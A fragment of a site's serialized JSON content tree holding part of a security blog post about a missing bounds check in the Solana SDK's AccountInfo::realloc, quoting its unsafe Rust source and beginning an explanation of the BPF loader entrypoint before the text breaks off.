",{"type":23,"tag":92,"props":12570,"children":12572},{"href":8223,"rel":12571},[96],[12573],{"type":28,"value":8227},{"type":28,"value":320},{"type":23,"tag":1815,"props":12576,"children":12577},{},[12578],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":12580},[12581,12582,12585,12592],{"id":8287,"depth":540,"text":8290},{"id":8341,"depth":540,"text":8344,"children":12583},[12584],{"id":8590,"depth":555,"text":8586},{"id":11490,"depth":540,"text":11493,"children":12586},[12587,12588,12589,12590,12591],{"id":11506,"depth":555,"text":11509},{"id":11757,"depth":555,"text":11760},{"id":12062,"depth":555,"text":12065},{"id":12099,"depth":555,"text":12102},{"id":12261,"depth":555,"text":12264},{"id":4292,"depth":540,"text":4295},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":12597,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":12598,"description":12599,"author":12600,"image":12601,"date":12605,"isFeatured":16,"onBlogPage":16,"tags":12606,"body":12607,"_type":1838,"_id":17723,"_source":1840,"_file":17724,"_stem":17725,"_extension":1843},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":12602,"height":12603,"width":12604},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",[1856,8251],{"type":20,"children":12608,"toc":17707},[12609,12637,12657,13327,13347,13358,13370,13503,13513,13519,13545,13884,13929,14256,14319,14332,14406,14474,14495,14508,14522,14868,14879,14884,15015,15066,15092,15104,15277,15413,15454,15491,15557,15562,15600,15654,15665,15808,15820,15826,15832,15865,15879,16001,16020,16048,16054,16144,16235,16241,16246,16293,16562,16637,16648,16675,17007,17019,17092,17364,17401,17703],{"type":23,"tag":24,"props":12610,"children":12611},{},[12612,12614,12620,12622,12627,12629,12635],{"type":28,"value":12613},"It all started with an audit of a program that used ",{"type":23,"tag":56,"props":12615,"children":12617},{"className":12616},[],[12618],{"type":28,"value":12619},"realloc",{"type":28,"value":12621}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":23,"tag":56,"props":12623,"children":12625},{"className":12624},[],[12626],{"type":28,"value":12619},{"type":28,"value":12628}," call (from ",{"type":23,"tag":56,"props":12630,"children":12632},{"className":12631},[],[12633],{"type":28,"value":12634},"solana_program",{"type":28,"value":12636},") would error out appropriately.",{"type":23,"tag":24,"props":12638,"children":12639},{},[12640,12642,12648,12649,12656],{"type":28,"value":12641},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":23,"tag":56,"props":12643,"children":12645},{"className":12644},[],[12646],{"type":28,"value":12647},"AccountInfo::realloc",{"type":28,"value":4483},{"type":23,"tag":92,"props":12650,"children":12653},{"href":12651,"rel":12652},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[96],[12654],{"type":28,"value":12655},"implemented",{"type":28,"value":3472},{"type":23,"tag":494,"props":12658,"children":12660},{"className":1957,"code":12659,"language":1956,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[12661],{"type":23,"tag":56,"props":12662,"children":12663},{"__ignoreMap":7},[12664,12758,12792,12799,12807,12819,12827,12919,12952,12959,12967,13097,13128,13135,13142,13150,13184,13196,13245,13257,13286,13293,13300,13307,13320],{"type":23,"tag":504,"props":12665,"children":12666},{"class":506,"line":507},[12667,12672,12677,12682,12686,12690,12695,12699,12704,12708,12713,12717,12722,12726,12730,12734,12739,12744,12749,12754],{"type":23,"tag":504,"props":12668,"children":12669},{"style":511},[12670],{"type":28,"value":12671},"pub",{"type":23,"tag":504,"props":12673,"children":12674},{"style":511},[12675],{"type":28,"value":12676}," fn",{"type":23,"tag":504,"props":12678,"children":12679},{"style":517},[12680],{"type":28,"value":12681}," realloc",{"type":23,"tag":504,"props":12683,"children":12684},{"style":523},[12685],{"type":28,"value":526},{"type":23,"tag":504,"props":12687,"children":12688},{"style":598},[12689],{"type":28,"value":2086},{"type":23,"tag":504,"props":12691,"children":12692},{"style":511},[12693],{"type":28,"value":12694},"self",{"type":23,"tag":504,"props":12696,"children":12697},{"style":523},[12698],{"type":28,"value":576},{"type":23,"tag":504,"props":12700,"children":12701},{"style":529},[12702],{"type":28,"value":12703},"new_len",{"type":23,"tag":504,"props":12705,"children":12706},{"style":598},[12707],{"type":28,"value":3472},{"type":23,"tag":504,"props":12709,"children":12710},{"style":1012},[12711],{"type":28,"value":12712}," usize",{"type":23,"tag":504,"props":12714,"children":12715},{"style":523},[12716],{"type":28,"value":576},{"type":23,"tag":504,"props":12718,"children":12719},{"style":529},[12720],{"type":28,"value":12721},"zero_init",{"type":23,"tag":504,"props":12723,"children":12724},{"style":598},[12725],{"type":28,"value":3472},{"type":23,"tag":504,"props":12727,"children":12728},{"style":1012},[12729],{"type":28,"value":11032},{"type":23,"tag":504,"props":12731,"children":12732},{"style":523},[12733],{"type":28,"value":2064},{"type":23,"tag":504,"props":12735,"children":12736},{"style":598},[12737],{"type":28,"value":12738},"->",{"type":23,"tag":504,"props":12740,"children":12741},{"style":1012},[12742],{"type":28,"value":12743}," Result",{"type":23,"tag":504,"props":12745,"children":12746},{"style":523},[12747],{"type":28,"value":12748},"\u003C(), ",{"type":23,"tag":504,"props":12750,"children":12751},{"style":1012},[12752],{"type":28,"value":12753},"ProgramError",{"type":23,"tag":504,"props":12755,"children":12756},{"style":523},[12757],{"type":28,"value":6264},{"type":23,"tag":504,"props":12759,"children":12760},{"class":506,"line":540},[12761,12765,12770,12774,12779,12783,12788],{"type":23,"tag":504,"props":12762,"children":12763},{"style":511},[12764],{"type":28,"value":1977},{"type":23,"tag":504,"props":12766,"children":12767},{"style":529},[12768],{"type":28,"value":12769}," orig_len",{"type":23,"tag":504,"props":12771,"children":12772},{"style":598},[12773],{"type":28,"value":648},{"type":23,"tag":504,"props":12775,"children":12776},{"style":511},[12777],{"type":28,"value":12778}," self",{"type":23,"tag":504,"props":12780,"children":12781},{"style":598},[12782],{"type":28,"value":320},{"type":23,"tag":504,"props":12784,"children":12785},{"style":517},[12786],{"type":28,"value":12787},"data_len",{"type":23,"tag":504,"props":12789,"children":12790},{"style":523},[12791],{"type":28,"value":2647},{"type":23,"tag":504,"props":12793,"children":12794},{"class":506,"line":555},[12795],{"type":23,"tag":504,"props":12796,"children":12797},{"emptyLinePlaceholder":16},[12798],{"type":28,"value":1038},{"type":23,"tag":504,"props":12800,"children":12801},{"class":506,"line":633},[12802],{"type":23,"tag":504,"props":12803,"children":12804},{"style":1106},[12805],{"type":28,"value":12806},"    // realloc\n",{"type":23,"tag":504,"props":12808,"children":12809},{"class":506,"line":687},[12810,12815],{"type":23,"tag":504,"props":12811,"children":12812},{"style":511},[12813],{"type":28,"value":12814},"    unsafe",{"type":23,"tag":504,"props":12816,"children":12817},{"style":523},[12818],{"type":28,"value":552},{"type":23,"tag":504,"props":12820,"children":12821},{"class":506,"line":736},[12822],{"type":23,"tag":504,"props":12823,"children":12824},{"style":1106},[12825],{"type":28,"value":12826},"        // First set new length in the serialized data\n",{"type":23,"tag":504,"props":12828,"children":12829},{"class":506,"line":785},[12830,12834,12839,12843,12847,12851,12856,12861,12865,12870,12874,12878,12883,12887,12891,12895,12899,12903,12907,12911,12915],{"type":23,"tag":504,"props":12831,"children":12832},{"style":511},[12833],{"type":28,"value":2041},{"type":23,"tag":504,"props":12835,"children":12836},{"style":529},[12837],{"type":28,"value":12838}," ptr",{"type":23,"tag":504,"props":12840,"children":12841},{"style":598},[12842],{"type":28,"value":648},{"type":23,"tag":504,"props":12844,"children":12845},{"style":511},[12846],{"type":28,"value":12778},{"type":23,"tag":504,"props":12848,"children":12849},{"style":598},[12850],{"type":28,"value":320},{"type":23,"tag":504,"props":12852,"children":12853},{"style":517},[12854],{"type":28,"value":12855},"try_borrow_mut_data",{"type":23,"tag":504,"props":12857,"children":12858},{"style":523},[12859],{"type":28,"value":12860},"()",{"type":23,"tag":504,"props":12862,"children":12863},{"style":598},[12864],{"type":28,"value":2110},{"type":23,"tag":504,"props":12866,"children":12867},{"style":517},[12868],{"type":28,"value":12869},"as_mut_ptr",{"type":23,"tag":504,"props":12871,"children":12872},{"style":523},[12873],{"type":28,"value":12860},{"type":23,"tag":504,"props":12875,"children":12876},{"style":598},[12877],{"type":28,"value":320},{"type":23,"tag":504,"props":12879,"children":12880},{"style":517},[12881],{"type":28,"value":12882},"offset",{"type":23,"tag":504,"props":12884,"children":12885},{"style":523},[12886],{"type":28,"value":526},{"type":23,"tag":504,"props":12888,"children":12889},{"style":598},[12890],{"type":28,"value":3308},{"type":23,"tag":504,"props":12892,"children":12893},{"style":1440},[12894],{"type":28,"value":3055},{"type":23,"tag":504,"props":12896,"children":12897},{"style":523},[12898],{"type":28,"value":2064},{"type":23,"tag":504,"props":12900,"children":12901},{"style":511},[12902],{"type":28,"value":7825},{"type":23,"tag":504,"props":12904,"children":12905},{"style":598},[12906],{"type":28,"value":8797},{"type":23,"tag":504,"props":12908,"children":12909},{"style":511},[12910],{"type":28,"value":2701},{"type":23,"tag":504,"props":12912,"children":12913},{"style":1012},[12914],{"type":28,"value":4843},{"type":23,"tag":504,"props":12916,"children":12917},{"style":523},[12918],{"type":28,"value":866},{"type":23,"tag":504,"props":12920,"children":12921},{"class":506,"line":813},[12922,12926,12931,12935,12940,12944,12948],{"type":23,"tag":504,"props":12923,"children":12924},{"style":598},[12925],{"type":28,"value":6734},{"type":23,"tag":504,"props":12927,"children":12928},{"style":529},[12929],{"type":28,"value":12930},"ptr",{"type":23,"tag":504,"props":12932,"children":12933},{"style":598},[12934],{"type":28,"value":648},{"type":23,"tag":504,"props":12936,"children":12937},{"style":529},[12938],{"type":28,"value":12939}," new_len",{"type":23,"tag":504,"props":12941,"children":12942},{"style":511},[12943],{"type":28,"value":7811},{"type":23,"tag":504,"props":12945,"children":12946},{"style":1012},[12947],{"type":28,"value":4843},{"type":23,"tag":504,"props":12949,"children":12950},{"style":523},[12951],{"type":28,"value":866},{"type":23,"tag":504,"props":12953,"children":12954},{"class":506,"line":851},[12955],{"type":23,"tag":504,"props":12956,"children":12957},{"emptyLinePlaceholder":16},[12958],{"type":28,"value":1038},{"type":23,"tag":504,"props":12960,"children":12961},{"class":506,"line":869},[12962],{"type":23,"tag":504,"props":12963,"children":12964},{"style":1106},[12965],{"type":28,"value":12966},"        // Then set the new length in the local slice\n",{"type":23,"tag":504,"props":12968,"children":12969},{"class":506,"line":878},[12970,12974,12978,12982,12986,12990,12994,12999,13003,13007,13011,13015,13020,13025,13029,13033,13037,13041,13045,13049,13053,13057,13061,13065,13069,13073,13077,13081,13085,13089,13093],{"type":23,"tag":504,"props":12971,"children":12972},{"style":511},[12973],{"type":28,"value":2041},{"type":23,"tag":504,"props":12975,"children":12976},{"style":529},[12977],{"type":28,"value":12838},{"type":23,"tag":504,"props":12979,"children":12980},{"style":598},[12981],{"type":28,"value":648},{"type":23,"tag":504,"props":12983,"children":12984},{"style":598},[12985],{"type":28,"value":6125},{"type":23,"tag":504,"props":12987,"children":12988},{"style":511},[12989],{"type":28,"value":2701},{"type":23,"tag":504,"props":12991,"children":12992},{"style":598},[12993],{"type":28,"value":8797},{"type":23,"tag":504,"props":12995,"children":12996},{"style":523},[12997],{"type":28,"value":12998},"(((",{"type":23,"tag":504,"props":13000,"children":13001},{"style":511},[13002],{"type":28,"value":12694},{"type":23,"tag":504,"props":13004,"children":13005},{"style":598},[13006],{"type":28,"value":320},{"type":23,"tag":504,"props":13008,"children":13009},{"style":523},[13010],{"type":28,"value":2679},{"type":23,"tag":504,"props":13012,"children":13013},{"style":598},[13014],{"type":28,"value":320},{"type":23,"tag":504,"props":13016,"children":13017},{"style":517},[13018],{"type":28,"value":13019},"as_ptr",{"type":23,"tag":504,"props":13021,"children":13022},{"style":523},[13023],{"type":28,"value":13024},"() ",{"type":23,"tag":504,"props":13026,"children":13027},{"style":511},[13028],{"type":28,"value":7825},{"type":23,"tag":504,"props":13030,"children":13031},{"style":598},[13032],{"type":28,"value":8797},{"type":23,"tag":504,"props":13034,"children":13035},{"style":511},[13036],{"type":28,"value":8635},{"type":23,"tag":504,"props":13038,"children":13039},{"style":1012},[13040],{"type":28,"value":4843},{"type":23,"tag":504,"props":13042,"children":13043},{"style":523},[13044],{"type":28,"value":2105},{"type":23,"tag":504,"props":13046,"children":13047},{"style":598},[13048],{"type":28,"value":320},{"type":23,"tag":504,"props":13050,"children":13051},{"style":517},[13052],{"type":28,"value":12882},{"type":23,"tag":504,"props":13054,"children":13055},{"style":523},[13056],{"type":28,"value":526},{"type":23,"tag":504,"props":13058,"children":13059},{"style":1440},[13060],{"type":28,"value":2991},{"type":23,"tag":504,"props":13062,"children":13063},{"style":523},[13064],{"type":28,"value":2064},{"type":23,"tag":504,"props":13066,"children":13067},{"style":511},[13068],{"type":28,"value":7825},{"type":23,"tag":504,"props":13070,"children":13071},{"style":1012},[13072],{"type":28,"value":4843},{"type":23,"tag":504,"props":13074,"children":13075},{"style":523},[13076],{"type":28,"value":2064},{"type":23,"tag":504,"props":13078,"children":13079},{"style":511},[13080],{"type":28,"value":7825},{"type":23,"tag":504,"props":13082,"children":13083},{"style":598},[13084],{"type":28,"value":8797},{"type":23,"tag":504,"props":13086,"children":13087},{"style":511},[13088],{"type":28,"value":2701},{"type":23,"tag":504,"props":13090,"children":13091},{"style":1012},[13092],{"type":28,"value":4843},{"type":23,"tag":504,"props":13094,"children":13095},{"style":523},[13096],{"type":28,"value":630},{"type":23,"tag":504,"props":13098,"children":13099},{"class":506,"line":1221},[13100,13104,13108,13112,13116,13120,13124],{"type":23,"tag":504,"props":13101,"children":13102},{"style":598},[13103],{"type":28,"value":6734},{"type":23,"tag":504,"props":13105,"children":13106},{"style":529},[13107],{"type":28,"value":12930},{"type":23,"tag":504,"props":13109,"children":13110},{"style":598},[13111],{"type":28,"value":648},{"type":23,"tag":504,"props":13113,"children":13114},{"style":529},[13115],{"type":28,"value":12939},{"type":23,"tag":504,"props":13117,"children":13118},{"style":511},[13119],{"type":28,"value":7811},{"type":23,"tag":504,"props":13121,"children":13122},{"style":1012},[13123],{"type":28,"value":4843},{"type":23,"tag":504,"props":13125,"children":13126},{"style":523},[13127],{"type":28,"value":866},{"type":23,"tag":504,"props":13129,"children":13130},{"class":506,"line":1276},[13131],{"type":23,"tag":504,"props":13132,"children":13133},{"style":523},[13134],{"type":28,"value":875},{"type":23,"tag":504,"props":13136,"children":13137},{"class":506,"line":1285},[13138],{"type":23,"tag":504,"props":13139,"children":13140},{"emptyLinePlaceholder":16},[13141],{"type":28,"value":1038},{"type":23,"tag":504,"props":13143,"children":13144},{"class":506,"line":1294},[13145],{"type":23,"tag":504,"props":13146,"children":13147},{"style":1106},[13148],{"type":28,"value":13149},"    // zero-init if requested\n",{"type":23,"tag":504,"props":13151,"children":13152},{"class":506,"line":1302},[13153,13157,13162,13167,13171,13176,13180],{"type":23,"tag":504,"props":13154,"children":13155},{"style":544},[13156],{"type":28,"value":11261},{"type":23,"tag":504,"props":13158,"children":13159},{"style":529},[13160],{"type":28,"value":13161}," zero_init",{"type":23,"tag":504,"props":13163,"children":13164},{"style":598},[13165],{"type":28,"value":13166}," &&",{"type":23,"tag":504,"props":13168,"children":13169},{"style":529},[13170],{"type":28,"value":12939},{"type":23,"tag":504,"props":13172,"children":13173},{"style":598},[13174],{"type":28,"value":13175}," >",{"type":23,"tag":504,"props":13177,"children":13178},{"style":529},[13179],{"type":28,"value":12769},{"type":23,"tag":504,"props":13181,"children":13182},{"style":523},[13183],{"type":28,"value":552},{"type":23,"tag":504,"props":13185,"children":13186},{"class":506,"line":1311},[13187,13192],{"type":23,"tag":504,"props":13188,"children":13189},{"style":517},[13190],{"type":28,"value":13191},"        sol_memset",{"type":23,"tag":504,"props":13193,"children":13194},{"style":523},[13195],{"type":28,"value":2439},{"type":23,"tag":504,"props":13197,"children":13198},{"class":506,"line":1334},[13199,13203,13207,13211,13215,13219,13223,13227,13231,13236,13240],{"type":23,"tag":504,"props":13200,"children":13201},{"style":598},[13202],{"type":28,"value":6668},{"type":23,"tag":504,"props":13204,"children":13205},{"style":511},[13206],{"type":28,"value":2701},{"type":23,"tag":504,"props":13208,"children":13209},{"style":511},[13210],{"type":28,"value":12778},{"type":23,"tag":504,"props":13212,"children":13213},{"style":598},[13214],{"type":28,"value":320},{"type":23,"tag":504,"props":13216,"children":13217},{"style":517},[13218],{"type":28,"value":12855},{"type":23,"tag":504,"props":13220,"children":13221},{"style":523},[13222],{"type":28,"value":12860},{"type":23,"tag":504,"props":13224,"children":13225},{"style":598},[13226],{"type":28,"value":2133},{"type":23,"tag":504,"props":13228,"children":13229},{"style":523},[13230],{"type":28,"value":2711},{"type":23,"tag":504,"props":13232,"children":13233},{"style":529},[13234],{"type":28,"value":13235},"orig_len",{"type":23,"tag":504,"props":13237,"children":13238},{"style":598},[13239],{"type":28,"value":2028},{"type":23,"tag":504,"props":13241,"children":13242},{"style":523},[13243],{"type":28,"value":13244},"],\n",{"type":23,"tag":504,"props":13246,"children":13247},{"class":506,"line":1370},[13248,13253],{"type":23,"tag":504,"props":13249,"children":13250},{"style":1440},[13251],{"type":28,"value":13252},"            0",{"type":23,"tag":504,"props":13254,"children":13255},{"style":523},[13256],{"type":28,"value":2484},{"type":23,"tag":504,"props":13258,"children":13259},{"class":506,"line":1384},[13260,13265,13269,13274,13278,13282],{"type":23,"tag":504,"props":13261,"children":13262},{"style":529},[13263],{"type":28,"value":13264},"            new_len",{"type":23,"tag":504,"props":13266,"children":13267},{"style":598},[13268],{"type":28,"value":320},{"type":23,"tag":504,"props":13270,"children":13271},{"style":517},[13272],{"type":28,"value":13273},"saturating_sub",{"type":23,"tag":504,"props":13275,"children":13276},{"style":523},[13277],{"type":28,"value":526},{"type":23,"tag":504,"props":13279,"children":13280},{"style":529},[13281],{"type":28,"value":13235},{"type":23,"tag":504,"props":13283,"children":13284},{"style":523},[13285],{"type":28,"value":5720},{"type":23,"tag":504,"props":13287,"children":13288},{"class":506,"line":1392},[13289],{"type":23,"tag":504,"props":13290,"children":13291},{"style":523},[13292],{"type":28,"value":6726},{"type":23,"tag":504,"props":13294,"children":13295},{"class":506,"line":1400},[13296],{"type":23,"tag":504,"props":13297,"children":13298},{"style":523},[13299],{"type":28,"value":875},{"type":23,"tag":504,"props":13301,"children":13302},{"class":506,"line":1422},[13303],{"type":23,"tag":504,"props":13304,"children":13305},{"emptyLinePlaceholder":16},[13306],{"type":28,"value":1038},{"type":23,"tag":504,"props":13308,"children":13309},{"class":506,"line":1450},[13310,13315],{"type":23,"tag":504,"props":13311,"children":13312},{"style":1012},[13313],{"type":28,"value":13314},"    Ok",{"type":23,"tag":504,"props":13316,"children":13317},{"style":523},[13318],{"type":28,"value":13319},"(())\n",{"type":23,"tag":504,"props":13321,"children":13322},{"class":506,"line":1463},[13323],{"type":23,"tag":504,"props":13324,"children":13325},{"style":523},[13326],{"type":28,"value":884},{"type":23,"tag":24,"props":13328,"children":13329},{},[13330,13332,13338,13340,13345],{"type":28,"value":13331},"Oh. There's ",{"type":23,"tag":56,"props":13333,"children":13335},{"className":13334},[],[13336],{"type":28,"value":13337},"unsafe",{"type":28,"value":13339},". And no bounds check in sight. ",{"type":23,"tag":1887,"props":13341,"children":13342},{},[13343],{"type":28,"value":13344},"And",{"type":28,"value":13346}," pointer math. That doesn't look promising...",{"type":23,"tag":70,"props":13348,"children":13350},{"id":13349},"breaking-down-realloc",[13351,13353],{"type":28,"value":13352},"Breaking down ",{"type":23,"tag":56,"props":13354,"children":13356},{"className":13355},[],[13357],{"type":28,"value":12619},{"type":23,"tag":24,"props":13359,"children":13360},{},[13361,13363,13368],{"type":28,"value":13362},"Let's pick apart this ",{"type":23,"tag":56,"props":13364,"children":13366},{"className":13365},[],[13367],{"type":28,"value":13337},{"type":28,"value":13369}," block, since there's a lot going on here.",{"type":23,"tag":494,"props":13371,"children":13373},{"className":1957,"code":13372,"language":1956,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[13374],{"type":23,"tag":56,"props":13375,"children":13376},{"__ignoreMap":7},[13377,13385,13472],{"type":23,"tag":504,"props":13378,"children":13379},{"class":506,"line":507},[13380],{"type":23,"tag":504,"props":13381,"children":13382},{"style":1106},[13383],{"type":28,"value":13384},"// First set new length in the serialized data\n",{"type":23,"tag":504,"props":13386,"children":13387},{"class":506,"line":540},[13388,13392,13396,13400,13404,13408,13412,13416,13420,13424,13428,13432,13436,13440,13444,13448,13452,13456,13460,13464,13468],{"type":23,"tag":504,"props":13389,"children":13390},{"style":511},[13391],{"type":28,"value":10769},{"type":23,"tag":504,"props":13393,"children":13394},{"style":529},[13395],{"type":28,"value":12838},{"type":23,"tag":504,"props":13397,"children":13398},{"style":598},[13399],{"type":28,"value":648},{"type":23,"tag":504,"props":13401,"children":13402},{"style":511},[13403],{"type":28,"value":12778},{"type":23,"tag":504,"props":13405,"children":13406},{"style":598},[13407],{"type":28,"value":320},{"type":23,"tag":504,"props":13409,"children":13410},{"style":517},[13411],{"type":28,"value":12855},{"type":23,"tag":504,"props":13413,"children":13414},{"style":523},[13415],{"type":28,"value":12860},{"type":23,"tag":504,"props":13417,"children":13418},{"style":598},[13419],{"type":28,"value":2110},{"type":23,"tag":504,"props":13421,"children":13422},{"style":517},[13423],{"type":28,"value":12869},{"type":23,"tag":504,"props":13425,"children":13426},{"style":523},[13427],{"type":28,"value":12860},{"type":23,"tag":504,"props":13429,"children":13430},{"style":598},[13431],{"type":28,"value":320},{"type":23,"tag":504,"props":13433,"children":13434},{"style":517},[13435],{"type":28,"value":12882},{"type":23,"tag":504,"props":13437,"children":13438},{"style":523},[13439],{"type":28,"value":526},{"type":23,"tag":504,"props":13441,"children":13442},{"style":598},[13443],{"type":28,"value":3308},{"type":23,"tag":504,"props":13445,"children":13446},{"style":1440},[13447],{"type":28,"value":3055},{"type":23,"tag":504,"props":13449,"children":13450},{"style":523},[13451],{"type":28,"value":2064},{"type":23,"tag":504,"props":13453,"children":13454},{"style":511},[13455],{"type":28,"value":7825},{"type":23,"tag":504,"props":13457,"children":13458},{"style":598},[13459],{"type":28,"value":8797},{"type":23,"tag":504,"props":13461,"children":13462},{"style":511},[13463],{"type":28,"value":2701},{"type":23,"tag":504,"props":13465,"children":13466},{"style":1012},[13467],{"type":28,"value":4843},{"type":23,"tag":504,"props":13469,"children":13470},{"style":523},[13471],{"type":28,"value":866},{"type":23,"tag":504,"props":13473,"children":13474},{"class":506,"line":555},[13475,13479,13483,13487,13491,13495,13499],{"type":23,"tag":504,"props":13476,"children":13477},{"style":598},[13478],{"type":28,"value":3552},{"type":23,"tag":504,"props":13480,"children":13481},{"style":529},[13482],{"type":28,"value":12930},{"type":23,"tag":504,"props":13484,"children":13485},{"style":598},[13486],{"type":28,"value":648},{"type":23,"tag":504,"props":13488,"children":13489},{"style":529},[13490],{"type":28,"value":12939},{"type":23,"tag":504,"props":13492,"children":13493},{"style":511},[13494],{"type":28,"value":7811},{"type":23,"tag":504,"props":13496,"children":13497},{"style":1012},[13498],{"type":28,"value":4843},{"type":23,"tag":504,"props":13500,"children":13501},{"style":523},[13502],{"type":28,"value":866},{"type":23,"tag":24,"props":13504,"children":13505},{},[13506,13511],{"type":23,"tag":56,"props":13507,"children":13509},{"className":13508},[],[13510],{"type":28,"value":12855},{"type":28,"value":13512}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":23,"tag":82,"props":13514,"children":13516},{"id":13515},"bpf-loader-abi",[13517],{"type":28,"value":13518},"BPF Loader ABI",{"type":23,"tag":24,"props":13520,"children":13521},{},[13522,13524,13529,13531,13544],{"type":28,"value":13523},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":23,"tag":56,"props":13525,"children":13527},{"className":13526},[],[13528],{"type":28,"value":12634},{"type":28,"value":13530},"'s entrypoint code - the code that's added when you use the ",{"type":23,"tag":92,"props":13532,"children":13535},{"href":13533,"rel":13534},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[96],[13536,13542],{"type":23,"tag":56,"props":13537,"children":13539},{"className":13538},[],[13540],{"type":28,"value":13541},"entrypoint!",{"type":28,"value":13543}," macro",{"type":28,"value":3472},{"type":23,"tag":494,"props":13546,"children":13548},{"className":1957,"code":13547,"language":1956,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[13549],{"type":23,"tag":56,"props":13550,"children":13551},{"__ignoreMap":7},[13552,13560,13632,13675,13727,13785,13828,13870,13877],{"type":23,"tag":504,"props":13553,"children":13554},{"class":506,"line":507},[13555],{"type":23,"tag":504,"props":13556,"children":13557},{"style":523},[13558],{"type":28,"value":13559},"#[no_mangle]\n",{"type":23,"tag":504,"props":13561,"children":13562},{"class":506,"line":540},[13563,13567,13572,13577,13582,13586,13591,13595,13599,13603,13607,13611,13616,13620,13624,13628],{"type":23,"tag":504,"props":13564,"children":13565},{"style":511},[13566],{"type":28,"value":12671},{"type":23,"tag":504,"props":13568,"children":13569},{"style":511},[13570],{"type":28,"value":13571}," unsafe",{"type":23,"tag":504,"props":13573,"children":13574},{"style":511},[13575],{"type":28,"value":13576}," extern",{"type":23,"tag":504,"props":13578,"children":13579},{"style":622},[13580],{"type":28,"value":13581}," \"C\"",{"type":23,"tag":504,"props":13583,"children":13584},{"style":511},[13585],{"type":28,"value":12676},{"type":23,"tag":504,"props":13587,"children":13588},{"style":517},[13589],{"type":28,"value":13590}," entrypoint",{"type":23,"tag":504,"props":13592,"children":13593},{"style":523},[13594],{"type":28,"value":526},{"type":23,"tag":504,"props":13596,"children":13597},{"style":529},[13598],{"type":28,"value":7350},{"type":23,"tag":504,"props":13600,"children":13601},{"style":598},[13602],{"type":28,"value":3472},{"type":23,"tag":504,"props":13604,"children":13605},{"style":598},[13606],{"type":28,"value":8797},{"type":23,"tag":504,"props":13608,"children":13609},{"style":511},[13610],{"type":28,"value":2701},{"type":23,"tag":504,"props":13612,"children":13613},{"style":1012},[13614],{"type":28,"value":13615}," u8",{"type":23,"tag":504,"props":13617,"children":13618},{"style":523},[13619],{"type":28,"value":2064},{"type":23,"tag":504,"props":13621,"children":13622},{"style":598},[13623],{"type":28,"value":12738},{"type":23,"tag":504,"props":13625,"children":13626},{"style":1012},[13627],{"type":28,"value":4843},{"type":23,"tag":504,"props":13629,"children":13630},{"style":523},[13631],{"type":28,"value":552},{"type":23,"tag":504,"props":13633,"children":13634},{"class":506,"line":555},[13635,13639,13643,13648,13652,13657,13661,13666,13670],{"type":23,"tag":504,"props":13636,"children":13637},{"style":511},[13638],{"type":28,"value":1977},{"type":23,"tag":504,"props":13640,"children":13641},{"style":523},[13642],{"type":28,"value":801},{"type":23,"tag":504,"props":13644,"children":13645},{"style":529},[13646],{"type":28,"value":13647},"program_id",{"type":23,"tag":504,"props":13649,"children":13650},{"style":523},[13651],{"type":28,"value":576},{"type":23,"tag":504,"props":13653,"children":13654},{"style":529},[13655],{"type":28,"value":13656},"accounts",{"type":23,"tag":504,"props":13658,"children":13659},{"style":523},[13660],{"type":28,"value":576},{"type":23,"tag":504,"props":13662,"children":13663},{"style":529},[13664],{"type":28,"value":13665},"instruction_data",{"type":23,"tag":504,"props":13667,"children":13668},{"style":523},[13669],{"type":28,"value":2064},{"type":23,"tag":504,"props":13671,"children":13672},{"style":598},[13673],{"type":28,"value":13674},"=\n",{"type":23,"tag":504,"props":13676,"children":13677},{"class":506,"line":633},[13678,13683,13687,13691,13696,13700,13705,13709,13714,13718,13722],{"type":23,"tag":504,"props":13679,"children":13680},{"style":511},[13681],{"type":28,"value":13682},"        